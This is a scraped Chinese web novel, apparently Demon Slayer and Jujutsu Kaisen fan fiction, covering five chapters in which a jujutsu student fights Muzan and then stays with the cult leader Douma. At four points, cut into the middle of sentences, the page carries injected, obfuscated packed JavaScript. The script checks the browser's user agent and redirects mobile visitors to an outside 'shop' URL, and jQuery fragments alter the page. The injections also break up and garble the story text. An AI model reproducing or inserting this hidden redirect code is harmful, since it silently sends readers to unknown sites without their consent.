《日呼的我必不可能和鬼混在一起》 1. 第1章 对峙 “你把人命当成什么了。” 这是藤原安来到这个领域之后,第一次见到这位有着淡淡人机感的剑士如此外放的情绪。 战国时期,竹径深处,是夜。 泠冽的月色笼罩着竹林,折射出一片寒光,不远处黑红两道身影不断交织错位,动作间周边大片竹叶洋洋洒洒地飘落,又被凛然的刀风扬起。 藤原安攥着刀柄,眉头紧蹙,试图找到一个合适的角度切入战场,却被扑面而来的长鞭打了个猝不及防。 一个下腰,惊险躲过,她往后退了几步,歇了参战的念头,重新给自己找了个安全的观战位置,并将刚刚拔出刀鞘的日轮刀收回。 却没想到刚好与对面同样后退了几步,有着一双烟紫色眼眸的女鬼站到了一起。 两人面面相觑一阵子,同一时间后退了两步。 她琢磨着要不要意思一下和那位看起来毫无战意的女鬼比划两招,但在见到对方因自家鬼王渐落下风后愈发兴奋的神情便歇了这份心思。 原来是友军啊…… 她感概着将视线重新投回战场。 单手扶着刀柄,她能感受到莲花样式的刀锷正在发热,在警示她鬼王面世,应立刻作出行动。 只是…… 这真的需要她帮忙吗? 眼瞧着那位头发蜷曲,有着梅子色眼眸的鬼王褪去了衣裳,全身长出了肉质的长鞭,如长蛇般蜿蜒着向对面的武士发起攻击。 那名身着红色羽织,留着暗红色长发名唤继国缘一每每都能游刃有余地接下对方的出招,单手一挑,刀身冒着火光,往对方的弱点逼近。 鬼王应接不暇,往后踉跄两步。 啊,明明继国缘一一个人就能消灭鬼王吧…… 所以为什么要把给她一个消灭鬼王的任务啊。 完全意义不明。 藤原安半眯着眼睛,捕捉着刀剑与肉鞭摩擦后发出的光泽。 “炎舞。” 眼前又是日之呼吸一套轮回的完成。 鬼王身上华贵的服装早已被凛冽的刀光以及自身冒出的肉鞭蹉跎至堪堪遮住身体的碎片。 血丝从他的嘴角渗出,动作也慢了下来,随之踉跄倒地。 他没有动作,像是放弃了挣扎。 好机会! 给他致命一击! 藤原安心中一阵雀跃。 继国缘一自然也没错过对方的纰漏,将手中的赫刀直指对方颈部。转瞬间,对方梅子色的眼眸一闪,四散在对方身边的肉鞭突然以更迅猛的速度向他攻来。 藤原安表情微动,拔刀出鞘,一个蹬步上前,正打算前去掩护,却见继国缘一脸色一变。 情况不对。 他步子微晃,紧接着更加大力地挥动着手中的日轮刀,直直往对方脖颈刺去,谁料在下一秒,那鬼王突然全身崩裂,化为成百上千的肉块往四下逸去。 糟糕。 他眉尾微微下沉,回首大呼,“藤原阁下!” 几乎是与出声的同一刻,他继续施展着刀技,向四散的肉块砍去。 一块、十块、百块…… 藤原安应声而动,按照身前剑士昔日教导的那般加大握力,直至其刀身发红,同样挥舞出流畅的剑技,化作一道道炽热的艳阳劈向周身。 即便是两人已经以最快的速度试图将所有的肉块斩于刀下,却还有数百的肉块抓住了间隙,从四面八方逸进了竹林深处。 没有丝毫迟疑,一个对视之后,两人分别奔向左右两侧。 茂密的叶子挡住了倾洒下来的月光,如其主人般狡猾的肉块借机藏匿其中,流散于外部的则是上下逃窜,左右周旋,为剩余肉块的逃脱创造机遇。 藤原安只能眼睁睁看着数十米外窸窣的动静渐渐安静了下来。 该死,被他逃掉了。 回到竹径的藤原安眼看着比她早些回来却同样面色不佳的红发剑士,嘴唇轻抿。 不远处,那位有着烟紫色眼眸,被她认定为是友军的女鬼跪坐在地上,双手伏地,泪水在眼眶里含盈,口中还在不停地呢喃着,“明明只差这么一点点……” 夜风拂过,竹影摇曳,发出哗哗的轻响。 静谧。 顷刻间,她的刀锷又开始发烫,原本在她默念后才会出现的透明面板,此刻正泛着警示的红色。 「警告警告,此时间线消灭无惨任务失败,请您认真对待。」 「当前完成度结算:日之呼吸学习程度20%、赫刀掌握度100%、通透世界掌握度0%,请继续努力。」 「5分钟后即将前往下一个时间线,请妥善利用这段时间。」 为什么会有这个面板,这说来话长。 简而言之,藤原安并非这个世界的杀鬼剑士,她的本职是一名咒术师,在来到这个领域之前正在东京咒术高专就读。 初出茅庐的她,第一次独自执行任务的地点是一处破败的和风建筑。纵使早已断垣残壁,从屋内残存的精致雕饰与布局,仍能窥见昔日的雅致与华美。 屋内盘踞的咒灵,几乎全都被正中央那柄莲花铁扇吸引。 扇身萦绕着浓稠得近乎化不开的诅咒气息,让它们无暇分心留意旁人。 在术式的催动下,她祓除咒灵的动作干脆利落,更何况这些咒灵大多不过二级水准,对她而言并不算棘手。 祓除完毕,正当她打算回收那把莲花样式的铁扇时,扇子周围坏绕着的诅咒气息突然向她涌来,蓝黑色的咒力如生机勃勃的藤蔓般缠绕着、依恋着她的四肢。 还没等她反应回来,被拉入到领域了这个领域之中。 她本想驱动咒力从内部试图破开,却发现自己原本充沛的咒力近乎化为无,取而代之是强大的身体力量。 天与束缚。 她脑海中蹦出这个词。 接下来就是一个自称为系统的家伙给她布置了一系列的任务,大到消灭鬼王无惨,小到接近日呼创始者,开启斑纹,学习…… 完全是和她们咒术届不一样的体系。 藤原安不禁感慨这个领域的想象力还挺丰富。 但没有咒力的咒术师在破解领域方面就相当于站在岸边想救人,却不会游泳一样有心无力。 没有别的办法,她只好走一步看一步。 本以为光是找到什么日呼创始者就要费一番功夫,结果领域还就这么贴心得直接把她传送到了继国缘一的身前。 说实话,她到现在还没搞清是领域有自动消除bug的功能,还是这位日呼太过超然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487246|202081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 物外。 真的有人能看到苍茫无垠的平野突然白光乍现,大变活人的场面能临之而不惊吗?还是说这位日呼创始者是系统特意安排的新手指引npc? 明明他今天的情绪起伏还挺明显的。 想不明白。 好了好了,这长话短说她也说的得太久了。 没有时间再给她吐槽,她快步走到继国缘一身前,注视着对方那双如古井般无波的眼睛,问道:“继国阁下,我马上就要离开了。” “可以告诉我鬼王的弱点吗?” 不知是长期相处的默契,还是天性使然,继国缘一没有追问理由,简单颔首,眼睑微垂,缓缓陈述。 “他拥有七颗心脏,五个大脑,即便是割下他的颈部也不会死……” 五分钟转瞬即逝,不过匆匆交谈了几句,藤原安的周身泛起了浅浅的白光,一如她凭空出现之时。 眼见着白光愈发浓烈,逐渐将身着绀色羽织的少女吞入其中,红发剑士面色不改,透过间隙直视着对方,继续吐露着内心猜测,“大概能杀死他的只有阳光……” 白光散尽,点点星光崩碎飘散,空气中只余下一缕轻风,连剑士的声响也被一同拂去。 “那就交给你了,藤原阁下……” * 好冷。 藤原安单手扶着刀柄,四下环顾。 白光散尽后,她发现自己依旧身处于竹林深处,周遭却覆上了皑皑白雪。 此刻,天空还在不知疲倦地向大地泼洒着雪花,几棵竹子似被积雪压得不堪重负弯折着身子,积雪从顺势从竹叶滑下,发出闷响,下一秒竹身弹跃而起,恢复成昔日的挺拔模样。 身上的衣衫略显单薄,藤原安阖了阖衣襟,轻轻哆嗦了一下,提步向前走去。 她得找到一个地方躲过这风雪天。 没走出多远,她便嗅到一丝若有若无的血腥气,混着一缕恶鬼的腥膻腐臭。 没有犹豫,她一步作两步向前,寻着血腥味的源头,穿过覆着雪的茂林幽深竹丛。 视野逐渐开阔,一群人立于前方,位于正中央的是一位白发青年。青年身后,一名青衣少女见她突然出现,捂着嘴冲她摇了摇头,暗示她赶快离开。 背对着她的是一只面容丑陋,身形怪状的恶鬼,正虎视眈眈地留着涎水,迅速往人群扑去。 众人面露惶色,却依旧紧紧护在中央那名白发青年身前,以肉身相挡,绝不愿让他受半分威胁。 眼瞧着恶鬼即将得逞,藤原安纵身跃起,并未动用任何剑技,只一记简单利落的横斩,便将其首级斩落。 那颗鬼首犹自欲转动,还想弄清是何人出刀如此迅速,下一刻便连同庞大的身躯一同化为飞灰。 收刀入鞘。 藤原安抬眼,望向被众人拥簇在中央的白发青年。 青年衣着华丽繁复,颈间垂落着一串珠链,头戴黄灰色的帽子,不像是充当装饰品或者单纯用来保暖,倒像是某个教派的象征。 他面色沉静,不见半分惶恐,嘴角还擒着盈盈笑意,仿佛方才险些坠入恶鬼之口的,根本不是他。 注意到了她的视线,那双宛若琉璃般的七彩眼瞳缓缓抬起,眼底却无暖意。 有股非人的诡异感。 2. 第2章 教主 “噗哧”几声,有重物砸落在结实的积雪上。 藤原安回头,见周围恭恭敬敬跪倒一片,唯有那位容貌旖丽的虹瞳青年还立在原处。 他缓缓避开人群,施施然走上前,优雅躬身行礼,语气柔和真挚。 “今日承蒙剑士小姐出手相救,吾等感激不尽。” “不过举手之劳而已。” 她挥了挥手便欲转身离去,却被他柔声拦下。 “外头风雪正寒,天色将暗,附近村落偏僻,也难寻落脚之处。不如剑士大人屈尊,前往不远处的教殿暂歇片刻,待雪停,或是来年开春再上路也不迟。” “教殿?” 藤原安步伐一顿,重复了一遍。 青年轻轻颔首,“我名童磨,乃附近万世极乐教的教主。” “万世极乐教?” 她再度重复,语气诧异。 青年嘴角上扬,张开双臂,微微仰头望向雾蒙蒙的天空,声音很轻,一字一顿拖得绵长。 “我教认为世间一切痛苦皆为虚妄,人应恬静快乐地活着。信奉万世极乐教,将身心托付于此,死后便能脱离苦难,前往永恒安乐的极乐世界。” 话音刚落,身后一众跪拜起身的信徒便齐声高呼,声音整齐划一,“盛哉我万世极乐——盛哉我万世极乐——” 藤原安虎躯一震,大臂瞬间泛起一层鸡皮疙瘩。 糟糕,她这是误入邪|教现场了吧。 见对方说得义正严辞,加之他头上确实戴着毗卢帽,藤原安暂时相信了对方口中万世极乐教的存在。 至于他口中所谓的极乐世界、脱离苦难云云,她表示非常理解尊重。 这世道本就够苦了,总得说些好听的话骗骗自己,才能撑得下去吧。 况且对方说得不无道理。 这般风雪天气,她又对眼下所处之地一无所知,这般盲目寻觅鬼杀队或是无惨,实在太过凶险,暂且寻一处地方落脚,才是稳妥之举。 况且系统将她送至此处也必然是有其深意,说不定眼前这位看起来脑筋不太正常的教主大人便是这一阶段重要npc,若是她就这么贸然离开,岂不是白白浪费时间。 这样想着,她学着他方才的模样,微微躬身行礼,“那就麻烦教主了。” 童磨浅笑着应下,抬手唤众信徒起身,指着身后漆黑色的驾笼询问,“剑士大人路途辛苦,不妨乘驾笼一同前往吧。” 驾笼空间狭小,能进一个人已是极限,想来对方也只是客气而已,藤原安自然摆手,“不必。” 童磨脸上笑意不减,“那我便同剑士大人一同步行。” 说着,他缓步与她并肩,温声道,“不知该如何称呼剑士大人?” “安即可。” 她省去了姓氏。 闻言,青年立刻换了称呼,“安小姐为何会突然出现在此地?是遇上什么麻烦了吗?” “恰逢战乱,一路颠沛流离至此。” 他拖长语调诶了一声,瞳孔微颤,轻撇了下脑袋,“莫非是北方那场战事……” 还真有吗? 藤原安一愣。 她眼睫微垂,顺口接道,“没错。战事恰好波及到了我们村庄,家中亲人尽数遇难,我只得外出投靠远亲。” 谁料下一秒,对方那双罕见的虹瞳竟缓缓渗出几滴泪水。泪珠越落越多,毫无征兆,仿佛他的泪腺生来便比常人发达百倍。 “天呐……竟有如此残酷的事发生在您身上。并非有意冒犯,还请您千万节哀。” 身后青衣侍女适时上前,递来一方素帕。 他慢条斯理接过,轻轻拭去泪痕,又柔声念叨了几句天神庇佑、极乐解脱之类的话语,神态虔诚又神神叨叨。 倒是不崩人设。 藤原安了然地点了点头,配合着敷衍了两句,“保佑保佑。” 不等她深思,青年再度发问 ,“安小姐的父亲也是剑士吗?” “是的,我的剑术就是他传授的。” 嗯,师父怎么不是父呢。 “想来他定也是名出众的剑士吧,毕竟安小姐仅一下就击退了恶鬼。” “没错,很厉害。” 藤原安依旧回得敷衍,想就沉默地将这么一段路走完。 可眼前这位青年压根没有察言观色的天赋,一张嘴就没停过,絮絮叨叨说个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487247|202081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没完。 他的音色很轻、很软,说话间还习惯拖长尾调,声音甚至称得上是悦耳,但也抵不过他没完没了得唠叨,吵得她头疼。 秉持着多听少错的念头,藤原安并未打断,反而是不是应和两句,试图从他满是废话的话语里扒出一点有用的信息。可对方不是打探她的情况,就是在宣传他的教义,也不知他是生性精明,还是缺了根筋。 但不得不说这位教主也是真的尽责,就是她脑袋更疼了。 好在他并未夸大其词,那座教殿确实就在不远处,步行约莫二十来分钟便已抵达。 她抬眸看去,那是一栋浮在水上的朱红楼阁,中央立着一座朱红色的鸟居,檐角挂着暖黄的灯笼,映出一圈淡光。前庭的池水冻上了薄冰,冰面平滑如镜,几枝枯瘦发黑的莲蓬与残荷斜斜插在冰面之上,枝桠僵直,有些萧瑟。 “是教主回来了!” 被迎入的青年一脸意犹未尽,轻叹道:“啊,已经到了呢,看来只能下次再找时间陪安小姐聊天了。” 谢邀,她并不想。 他向身后的青衣侍女低声吩咐了两句,接着侍女便领着她在廊道里七拐八绕,来到一间僻静的房间。 屋子是一间六叠大小的和室,满铺浅绿色的榻榻米。墙上悬着一幅淡墨莲轴,案上铜炉静燃,轻烟袅袅,淡香漫室,格外雅致。 侍女并未进门,在外端跪垂首,躬身一礼后,便轻轻合上了拉门。 终于有属于自己的时间了。 目送她离开,藤原安默默调出系统面板。 除了消灭无惨的主线任务外,又多了两个新的任务,一是尽快联络鬼杀队,二是探究万世极乐教的秘密。 她指尖轻触荧幕,关于这座教殿的信息寥寥无几,大部分都打着问号,唯有一行字格外醒目。 「万世极乐教,建于17世纪末。」 等等…… 17世纪年,江户中期,没有重大战乱。 藤原安顿觉后背发凉。 就在这时,门外传来轻缓的叩门声。 那道她颇为熟悉的温柔声线隔着门板轻轻响起:“安小姐,可以邀请您共进晚餐吗?” 3. 第3章 神明 说是吃饭,还真就只是吃饭。 教主礼数周全,举止得体,平日里话虽多,却难得在吃饭时秉持着食不言的原则。 暮色已浓,用餐处点着灯,暖黄的光晕漫洒开来,将他雪白的发丝染成金黄,那双夺目的眼眸也隐于昏暗中。 他眼睫低垂,面无表情地咀嚼着面前的餐食,唯有偶尔抬眼,与藤原安的目光不经意相撞时,才会弯起眼眸,回以一个难辨深意的笑容。 藤原安莫名觉得诡异。 她正想寻个机会开口打探,身旁侍立的女侍已轻步上前:“该歇息了,安大人。” 无奈作罢下循着女侍的指引,回了自己的厢房歇息。 翌日天方微亮,窗外依旧吹撒着雪沫,藤原安被廊间透进的丝缕晨光唤醒。她揉了揉眉心,刚直起身舒展筋骨,门外便传来轻缓的叩门声。 “进。” 候在门外的是一名身着鼠灰色小袖、腰束白绫的侍女,正是昨日在餐间侍立的春明。 春明垂首敛息,双手伏地行礼,姿态恭谨,“教主大人吩咐,由我今日陪同安大人参观教内。” “他在哪呢?” “每日晨时皆是教主大人会客讲道的时辰,从未间断。今日无法亲自陪同安大人,教主大人深感遗憾,特意嘱咐春明,务必好好照料大人。” 藤原安点头,起身将披散的长发理顺,“那就劳烦你带路了。” 春明微一怔愣,随即深深俯首行礼。 万世极乐教占地极广,屋舍连绵,厢房错落分布在各个庭院,黛瓦覆顶,木廊蜿蜒。其中绝大多数房间,都是为远道而来参拜教主的信徒们预备的居所。 教内亦有一片看不见边际的莲花池,此刻冻上了一半,池上横架着数座样式各异的桥,曲直相间,联通着各个房屋。 春明引着她穿过回廊,停在一间阔朗轩敞的屋舍前,禀道,“教主大人吩咐,安大人若有习武之需,可随时来此室。” 藤原安移门而入,屋内空阔整洁,地面铺着光滑的木板,壁间悬着两把漆黑桧扇,扇面纹路精致,屋内正中央摆着一套绀色练武服。 “这是教主大人为安大人准备的。” 这套衣料与晨间的小袖色调相近,应是照着她昨日那件羽织的颜色特意备下的。 她好奇问道,“你们教主一向待人如此和善吗?” 提起教主,春明的语气多了几分起伏,甚至可以称得上狂热:“是。教主大人是真正降临世间的神子大人,心怀慈悲,待人宽厚,对每一位信徒、每一位贵客,都是这般和善周到。” 神子。 她听到这个词的频率好频繁。 某位六眼同期是六眼神子。 她的日呼师父是为了消灭无惨而降生的神子。 这位教主也是神子。 着是因为找不出别的形容词了嘛…… 压下心中思绪,跟着春明继续前行,不多时,便到了一处雅致清幽的屋舍前,屋舍外守着两名侍女。春明停下了脚步,低头解释,“前面是教主大人的会客室,恐怕不便叨扰……” 藤原安了然颔首,目光扫过紧闭的门窗,不经意间问道,“教主都是一对一会见信徒的吗?” “信徒们皆是提前预约等候,教主大人自会按时接见,每一位信徒的诉求,教主大人都会耐心倾听,从不敷衍。” 藤原安垂首,若有所思道,“那还真是辛苦呢。” “此等小事,教主大人从不言累。”春明接道,“教主大人常说,能为信徒们排忧解难,他心中唯有欢喜。我等众人,也唯有拼尽全力侍奉教主,才能报答他的慈悲。” 话音落定,她微微躬身,轻声请示:“安大人此刻是先行回房歇息,还是……” “那带我去刚刚的武室吧。” 此时外头仍飘着细雪,屋内光线因云层遮蔽而显得昏沉,不甚敞亮,春明上前为她掌起一盏灯。 “那我便在屋外等候大人。” 藤原安点头,目送春明轻步退出门外,关上房门,才缓缓抬手,抚上腰间的佩刀。 下一瞬,利刃破风而出,火焰凭空出现。 “火之神神乐,圆舞——” * 接下来几日,藤原安极少见到童磨,唯有每日餐时才与他短暂碰面。 当然,她也没有闲着,趁着春明陪同她的间隙,旁敲侧击地向春明打探教中的旧事。 可春明话并不多,性子也极为谨慎,除了断断续续透露了万世极乐教的开创者是童磨的父母,且二人已于前段时间病逝外,便再不愿透露更多细节。 任凭藤原安如何追问,她要么巧妙岔开话题,要么三两句又绕回对教主的称颂。 滴水不漏。 藤原安见此便也不再多言,只专心勤练剑术。 约莫一周后,她如往常一般径直走向那间习武室。 这段时日勤练不辍,她对日之呼吸的掌控又精进了一成有余。 可这点程度还远远不够。 她本想趁着这段无法外出的时间再好好打磨一番,却不想这日一进门,竟撞见了这个时间本该在处理教务的教主。 他身着一袭纯白狩衣,领口用金线绣着莲花纹路,绯袴曳地,立于室内,双手各执一柄漆黑桧扇。 见她进来,唇角微扬,温温一笑,道了早上好,解释道:“新年将至,我抽时间来此练习神乐。” 藤原安心中一动,她正愁找不到时间同童磨独处,自然不会主动请离,“无妨,那我便等您歇息时再练吧。” 童磨笑回好。 他右手将那柄漆黑桧扇覆于面前,缓缓下移,随即勾唇一笑,扬手间两柄扇子错落举起,腰身轻转,足尖点踏,扇影翻飞如蝶,衣袂随动作层层扬散。 他似乎很知道如何展现自己的优势,时常只露出那双异于常人的眼眸,直勾勾地盯着她看。 藤原安跪坐一隅,脸上并无太多表情。 未练多时,童磨便收了扇势,脸上略带歉意,“许久未练,有些生疏了,招式难免有疏漏,让您见笑了。” 藤原安摇头,“不会,很好看。” 并非恭维,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487248|202081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跳得着实赏心悦目。 闻言,童磨脸上的笑意愈发柔和,他在藤原安身侧随意盘腿而坐,与她保持着不远不近的距离,温声解释道,“前些时日,因外出办事刚返回教内,堆积了不少教务,实在繁忙,并非故意冷落贵客,还请安小姐莫要见怪。” 藤原安不动声色往另一侧挪动半步,回道:“教主大人言重了,您这般挂心,我已是十分感激。” 童磨倒像是松了口气,随即微微倾身向前,拉近了二人的距离,语气亲昵,“怎能可以这般见外……” 他笑意温软,“安小姐直接唤我童磨便好。” “直呼教主的名讳怕是不合礼数吧。”藤原安语气平静地推辞。 左手轻轻捂唇,姿态带着几分矫揉造作,语气似真似假,“怎么会……安小姐这般称呼我,是再和礼数不过的了。” 什么意思? 藤原安心头疑惑更甚,不等她细问,童磨兀自换了话题,目光落在她腰间的佩刀上,“我也想再看看安小姐的剑术呢。听春明说,安小姐挥刀时,剑身上会泛起旭日般的光泽呢。” 是春明透过门缝看到的吗? 藤原安沉默,她不知该如何解释。 那其实是挥刀速度过快后刀刃与空气剧烈摩擦产生的火花。 是单纯的物理现象。 她又该怎么跟一个整天神神鬼鬼的人讲什么科学呢? 而且就算她解释清楚了,这位教主估计也还是会笑嘻嘻地继续插科打诨。 既知如此,她便没有推脱。 抽出刀身,破风而出,火焰随之燃起,不过由于觉得过于中二,她并未喊出剑技。 随意展示了几个剑技后,藤原安缓缓收势,转头就见童磨双手托腮,身躯微微晃动,眼眸亮得惊人,里面是毫不掩饰的兴致。 她抬手,用袖口抹去额间的细汗,趁着对方心情愉悦,不再迂回,主动发问,“我可以问你一个问题吗?” “当然。” “那天我说谎了,你为何没有戳穿我。” 青年歪着脑袋眨了眨眼,像是在疑惑她为什么会问这种理所当然的问题。 “因为,您说什么都是会被允许的啊。” “嗯?” 她蹙起眉头,依旧不解。 “我不能再多说了哦。” 说着,童磨将食指竖于唇前,做出一个噤声的手势,笑意更深。 穿着单薄,却独自一人出现在深冬的竹林,用如耀日般出众的剑技消灭了恶鬼,又对世间俗事毫不知情。 所以,眼前这位名唤安的剑士小姐,一定是被突然信徒召唤出来拯救他们的神明大人吧。 以往他总觉得,所谓神明不过是世人杜撰出来的慰藉,是信徒们寄托心愿的幌子,没想到居然是真的存在的诶。 父母旧时时常告诉他,神明大人并不喜欢被人点明身份,只愿默默地帮助有需要的人。 为了神明大人能够尽兴,他绝不会主动向大人戳破此事。 只会尽自己教主的责任好好地尊敬她、侍奉她,直至她离开为止。 4. 第4章 信徒 藤原安不明所以,却敏锐地从他的话中抓到了重点。 既然说什么都能被允许,那是不是也就意味着她可以肆无忌惮地主动打探任何情报。 她心头一动,径直开口:“那可以告诉我万世极乐教创办的事情吗?” “诶?” 青年明显没料到她会转题转得这么快,一时没反应过来,唇边的笑意几不可察地僵了一瞬,随即又柔和下来,重新挂上那副人畜无害的神情:“当然可以。” 还真可以? 藤原安惊喜,正襟危坐,听他细细道来。 只听童磨说道,一切都始于他天生异于常人的雪白发丝与虹彩般的瞳孔,也正因这份特殊,他生来便能与神明大人相通。 是他的双亲最先发现了他这一天赋,以此为由,创办了万事极乐教。 “与神明沟通?”藤原安有些诧异。 青年垂首,朝她凑近了几分,彩虹色的双眸直直望进她的眼里,语气笃定:“没错,我真的能与神明大人沟通哦。” 胡言乱语。 她有些好笑地问道,“那你知道现在神明大人在想什么呢?” 在想他在胡说八道。 童磨心中默默回答,面上依旧笑得纯良。 见他笑而不语,藤原安只觉他是心虚,“那接下来呢?” 闻言,青年沉默了下来,周身的光泽散去,整个人暗沉了下来,“之后的话……父亲大人和母亲大人在将教主之位传给我之后,便于某天相约共赴极乐了。” 相约共赴极乐? 她记得春明明明跟她说教主的双亲是病逝,所以是在同一天病逝? 这个措辞有些奇怪。 藤原安不动声色看了一眼面板。 不出意外,上面依旧写着「支线任务二:万世极乐教的秘密(未完成)」 想也知道,即便是支线任务也不可能这么快就完成,但现在她的心里已经隐约有些眉目了。 教中的侍女们大多想来并不知道真相。 那就只能从教主和他亲信之人入手了,不过继续套话显然是行不通的,又该怎样…… 童磨本期待在她的反应,以为她见到自己此番神情后至少会做出点同情或者安慰的样子,结果这位神明大人又忽然陷入沉思。 明明是神明大人想要更了解他,怎么又把他晾在一旁了。 是因为作为神明大人总是太多的事情要操心吗? 想来也是,他不过一介小小教主,便已这般劳碌,神明大人要忧心的事务定是更多才是。 作为与神明大人最为亲近之人,他十分体谅地静坐一旁,耐心候着她先将心头烦忧理清。 不多时,一直随侍在童磨身侧的青衣侍女若叶在外轻轻叩门,低声提醒,“教主大人,您的会客的时间到了。” 青年略微苦恼地晃动着身子。 又在原地多赖了一会才缓缓起身,接着姿态优雅妥帖地微微俯身,将一只手轻轻递到他的神明大人面前,作出邀请,“可否请安小姐一起陪同?” 还在心中默默盘算的藤原安一懵,“嗯?会见信徒的话,我前去恐怕不太合适吧。” 童磨轻轻摇头,语气轻淡,“无碍。今日信徒所求之事,或许安小姐能替他了解。” 藤原安满眼新奇,“原来你们教还真是有求必应啊。” 她撤回之前对于万世极乐教的锐评。 难怪能吸引来这么多信徒,原来你们是真办实事啊。 童磨歪了歪脑袋,笑而不语。 两人身上的衣着都不便见客,便先各自回房更换衣物。待藤原安收拾妥当,便随春明一路行至那间此前未曾踏入的会客室前。 童磨已立在门口等候,头上戴着她初见他时所戴的那顶毗卢帽。 “请进。” 正对屋门摆着一道简洁素雅的黄色屏风,越过屏风,榻榻米的上方铺着一方枣红色软垫,内里还立着一道屏风,上面精心绘制着数朵粉色莲花,花瓣舒展、色泽温润。 下方的蒲团上面端坐着一位身着粗布条纹和服,神情焦灼的中年男子。 见教主身边有另一位并肩共行者,中年男子连忙俯身,恭敬地问道,“教主大人,这位便是……” “是,这位是我教的贵客安小姐,也是我的救命恩人。” 男人配合着高呼,“那也是我们极乐教所有人的救命恩人。”说着,还毕恭毕敬行了一礼。 藤原安嘴角微动。 不管来多少次,她都无法习惯这边动辄就突然行礼以及高呼的死动静。 “再跟安小姐讲一讲你们村落的怪事吧。” 这位表情凝重的中年信徒,是附近清水村的村长源藏。清水村大半村民都信奉万世极乐教,村中甚至专门辟出一间屋舍,用作平日祈愿的道场。 据他所言,近来他们村里频频有孩童莫名失踪,大人们悲痛之余,也只当是孩子贪玩,误入冬日的深山密林,要么迷了路,要么不幸葬身野兽之口。 直到前日,他当班外出巡夜,竟在村口桥边撞见一个身形纤细的人影,正低 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487249|202081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头啃食着什么。 他出声一喊,那人便几下蹿入林中,没了踪影。 他顿时心中一杵,壮着胆子走近一看,是一地残骸四肢。 尽管已被啃噬得血肉模糊,脸庞也早已辨认不清,可那尸骸的衣服他还认得,是村头金作家的儿子常穿的那件。 他当场吓得魂飞魄散,连滚带爬跑去通知了金作以及周边村民。 金作家得知噩耗后伤心欲绝,抱着他不停追问究竟是谁所为。 可想来也都知道,这般惨状定是山中野兽所为。 但他事后细细回想,又恍惚起来,总觉得当时看到的就是人影。 若只是野兽,布下陷阱或许还能对付。可若当真为人…… 即便他与村民们平日里也算胆大,此刻也被这猜想吓得浑身发寒,束手无策,只得匆匆赶来万世极乐教。 听此叙述,藤原安心中已然有了判断。 八九不离十,那就是鬼了。 专业对口了。 这个时候突然在她附近出现了鬼袭人的事件,摆明了就是线索,她自然不可能错过这个良机。 刚好她也可以顺势打听一下现任鬼杀队的情况,为来年开春做好准备。 不过就算她没有任务在身,她也依旧会选择帮忙,毕竟这几日在教中白吃白住,她心里也着实有些过意不去,总得有点贡献才是。 “详情我已经了解,那就请村长带路吧。” 见她这般从容笃定,村长连声应道,“那事不宜迟,我们现在就出发。” 就在他再度行礼,预备起身时,一直端坐于上方的教主忽然开口打断了他们,“等等,我也一道前去。” “教主大人?”村长面露难色。 藤原安也跟着转头看向他,表情里满是不赞同。 说实话,有些累赘。 蓦地,她发现已有泪珠凝在这位教主纤长的睫毛上,轻轻颤动,悬而未落。 他继续轻声说道,“清水村的信徒有难,作为教主我必不可能视而不见,就让我一同前去吧。一路上我会不断向神明大人祷告,祈求安小姐以及村庄内所有人的平安。” “教主大人……您能前来,是莫大的慰藉。”村长声音发颤,眼角也泛起泪光,忍不住红了眼眶。 “……” 藤原安忍不住问道,“那教务怎么办?” 真的很难不操心。 “这个嘛……”童磨单膝微屈,手托下巴,不知什么时候已经将泪水拭去,转而笑道,“自然是有办法的。” 5. 第5章 村落 清水村依山而筑,村名取自山间奔涌而下的清冽泉水。时值年末,寒意渐浓,水流两岸早已覆上薄薄一层积雪,流水潺潺,依旧澄澈明净。 村民专为教主辟建的屋舍坐落于村落正中,独占整片区域最优的地势。屋舍的样式与万世极乐教极为相似,一眼便能看出是出自同批工匠之手。 一行人方行至村口,便发现已有不少村民早早等候在外,满心恭谨地等候拜见他们尊崇的教主。 又是一极其盛大的场面。 老实人藤原安瞠目结舌。 离教之前,她特意换了套平日里极少穿的素色小褂,又拆散了平日披在肩上的麻花辫,让春明用木簪替她绾了个简单的发髻。 